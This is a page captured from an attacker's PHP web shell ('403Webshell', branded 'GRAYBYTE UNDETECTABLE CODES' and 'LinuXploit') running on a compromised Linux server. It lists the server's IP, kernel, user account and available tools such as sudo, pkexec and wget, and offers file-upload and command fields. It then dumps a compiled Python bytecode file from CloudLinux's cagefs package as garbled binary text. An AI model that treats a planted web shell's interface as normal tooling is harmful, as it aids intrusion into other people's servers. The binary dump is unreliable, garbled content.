- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.15.182.217
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/cagefs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/cagefs/__pycache__/cagefs_ispmanager_lib.cpython-311.opt-1.pyc
�

��cg�%���ddlmZddlmZddlmZddlmZddlmZej��ddlTddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlmZmZmZmZmZmZdd	lmZdd
lmZddlmZd�Zd
�Zd�Z dd�Z!dS)�)�absolute_import)�division)�print_function)�unicode_literals)�standard_library)�*N)�get_list_of_users�cagefs_is_enabled�save_dir_exists�get_exclude_user_list�get_min_uid�MIN_UID)�	read_file)�ispmanager_create_user_wrapper)�mod_makedirsc���tj��tj��sdStj�d���rddg}	tj|dd����d��}|D]�}|�d��d	kr�t|�d
��d�
dd�������}|�d
|zddddg��tj|dd�����dS#t$r-}tjdt|����Yd}~dSd}~wwxYwtj���rx	d}t#��}gd�}tj|dd����d��}|D]|}|�d��re|����d��}t%|��dkr�R|d�d��}|D]
}d|vrd}n�n�}|sud�|��dzdz}	|	���}	|�d|	zdg��tj|dd����d��dSdS#tt(f$r-}tjdt|����Yd}~dSd}~wwxYwdS)zF
    Install exclude .cagefs folder from backup
    :return: None
    N�4z/usr/local/ispmgr/sbin/mgrctl�
backupplanF)�check_return_code�
exit_on_error�
zid=���zname=r�z.content.edit plid=zsok=okztype=excludezmodule=filezfiledata=.cagefsz+Failed to set exclude dir for ISPManager 4:)z/usr/local/mgr5/sbin/mgrctlz-m�ispmgrzbackup2.settings�
exclude_files�=��� z.cagefsTzdata/.cagefszexclude_files=%sz+Failed to set exclude dir for ISPManager 5:)�detect�getCP�
is_ispmanager�
CP_VERSION�
startswith�	cagefslib�Execute�split�find�str�replace�strip�extend�OSError�secureio�print_error�ispmanager5_is_master�list�len�join�IOError)
�isp_command_list�result�line�plan_id�e�cagefs_exclude_is_found�exclude_files_list�l_parts�exclude_file�add_lines
          �i/builddir/build/BUILDROOT/cagefs-7.6.23-1.el8.cloudlinux.x86_64/usr/share/cagefs/cagefs_ispmanager_lib.py�$install_ispmanager_directory_excluder@>s����L�N�N�N���!�!����
��#�#�C�(�(�-\�;�\�J��		X��&�'7�5�`e�f�f�f�l�l�mq�r�r�F��
f�
f���9�9�U�#�#�r�)�)�!�$�*�*�W�"5�"5�a�"8�"@�"@���"K�"K�"Q�"Q�"S�"S�T�T�G�$�+�+�-B�W�-L�h�Xf�DQ�Rd�-f�g�g�g��%�&6�%�_d�e�e�e�e��
f�
f���	X�	X�	X�� �!N�PS�TU�PV�PV�W�W�W�W�W�W�W�W�W�����	X�����'�)�)�	\�
\�*/�'�%)�V�V�"�#f�#f�#f� �"�*�+;�u�di�j�j�j�p�p�qu�v�v��"���D�����7�7�
�#'�*�*�,�,�"4�"4�S�"9�"9���w�<�<�1�,�,�$�-4�Q�Z�-=�-=�c�-B�-B�*�,>�&�&�L�(�L�8�8�:>� 7� %�� 9���
�/�r�"�x�x�(:�;�;�c�A�N�R�H�'�~�~�/�/�H�$�+�+�-?�(�-J�H�,U�V�V�V��%�&6�%�_d�e�e�e�k�k�lp�q�q�q�q�q�r�r���W�&�
\�
\�
\��$�%R�TW�XY�TZ�TZ�[�[�[�[�[�[�[�[�[�����
\����;	\�	\s2�C
D�
E�$"E�E�)D2J�K�0"K�Kc���tj�|��r�t|��}|ddkrq|D]n}|������}t
|��dkr3|ddkr'|ddkr|ddkr|d	|krdS�otj�|��}tj�|��st|d
��t|d��}|�d��|�d|zd
z��|���tj
|d
��dS)Nrz#!/bin/bash
��execrz/usr/bin/php-cgirz-c�i��wzexec /usr/bin/php-cgi -c r)�os�path�isfilerr+r'r2�dirname�lexistsr�open�write�close�chmod)�filename�php_ini_path�contentr7�parts�dirpath�fs       r?�create_php_cgi_etcrUxsI��	�w�~�~�h�����H�%�%���1�:��(�(��
�
���
�
���*�*�,�,����J�J�!�O�O�%��(�f�*<�*<�5��8�Oa�Ca�Ca�!&�q��T�!1�!1��a��L�8P�8P��F�F���g�o�o�h�'�'�G�
�7�?�?�7�#�#�%��W�e�$�$�$��X�s���A��G�G�O�����G�G�'�,�6��=�>�>�>��G�G�I�I�I��H�X�u������c��tj��tj��rtj�d��sdSd}t
j�|��sdStj	��tj
sdStj}d}d|vr|d}d}t||��t
j�
d��rtd|��t|��}d}d	}d
}|D]d}|������}t#|��dkr$|ddkr|d
dkr|d}d}n|d
z
}�e|r'||kr d|zdz||<tj||��n?t'|d��}	|	�d|zdz��|	���t-jdd��t1jddgd	t'd��t0jt0jd���}
|
���t;��rt=��rg}nt?d��}tA��}tC��tD}
tGj$��}|D]1}|j%|
ks	|j&|vr�|j&|v}tO||d���2dS)Nrz!/usr/local/ispmgr/etc/ispmgr.confz/etc/php.inizphp.iniz/usr/local/bin/php-cgi-etcz/usr/share/cagefs-skeletonz4/usr/share/cagefs-skeleton/usr/local/bin/php-cgi-etcrFrrDrGr�phpcgibinaryrTzpath phpcgibinary r�az&/usr/local/ispmgr/var/.xmlcache/ispmgr�killallrz	/dev/null)�shell�stdin�stdout�stderr�	close_fds)(r r!r"r#r$rFrGrHr%�read_native_conf�
config_loaded�
orig_binariesrU�isdirrr+r'r2�
write_filerKrLrM�shutil�rmtree�
subprocess�Popen�PIPE�STDOUT�waitr
rr	rr
r�pwd�getpwall�pw_uid�pw_name�-ispmanager_create_user_wrapper_detect_php_ver)�ISP_MANAGER_CONF_FILErQrP�script_file�i�is_found�old_pathr7rRrT�p�cagefs_enabled_users�exclude_list�min_uid�pw�	user_data�is_user_in_cagefss                 r?�!configure_selector_for_ispmanagerr}�s��
�L�N�N�N���!�!���):�)E�)E�c�)J�)J����?��
�7�>�>�/�0�0������ � � ��"�����%�G�!�L��G����y�)��/�K��{�L�1�1�1�
�w�}�}�1�2�2�a��Q�S_�`�`�`��-�.�.�G�	�A��H��H������
�
���"�"�$�$����J�J�!�O�O�%��(�f�"4�"4�5��8�~�;U�;U��Q�x�H��H��E�	�Q�����	��{�"�"�-��;�d�B�G�A�J�� �!6��@�@�@��
�&��,�,��	���$�{�2�T�9�:�:�:�	���	�	�	��M�:�D�A�A�A���)�X�.�e�4��CT�CT�]g�]l�;E�;L�X\�	^�	^�	^�A��F�F�H�H�H�

���7�O�$5�$5�7�!���0��6�6��(�*�*�L��M�M�M��G�	����B��Z�Z�	���g�%�%��):�l�)J�)J��%�-�1E�E��5�i�AR�TX�Y�Y�Y�Y�Z�ZrVFc��tj��tj��rtj�d��sdS|sd}ntj|j��}|�dSt|j|||��dS)Nr�native)	r r!r"r#r$r%�get_php_version_for_userror)r{r|�is_write_log�user_php_vers    r?rprp�s���
�L�N�N�N���!�!���):�)E�)E�c�)J�)J��������� �9�)�:K�L�L�����F�"�9�#4�l�I�|�\�\�\�\�\rV)F)"�
__future__rrrr�futurer�install_aliases�builtinsrFrlrergr%�cldetectlibr r.�	cagefsctlr	r
rrr
r�clcagefslib.ior�clcagefslib.selector.panel.ispr�clcommon.utilsrr@rUr}rp�rVr?�<module>r�s���R'�&�&�&�&�&�������%�%�%�%�%�%�'�'�'�'�'�'�#�#�#�#�#�#� �� �"�"�"�����	�	�	�	�
�
�
�
�
�
�
�
�����������������x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�$�$�$�$�$�$�I�I�I�I�I�I�'�'�'�'�'�'�7\�7\�7\�t���0KZ�KZ�KZ�`
]�
]�
]�
]�
]�
]rV

Youez - 2016 - github.com/yon3zu
LinuXploit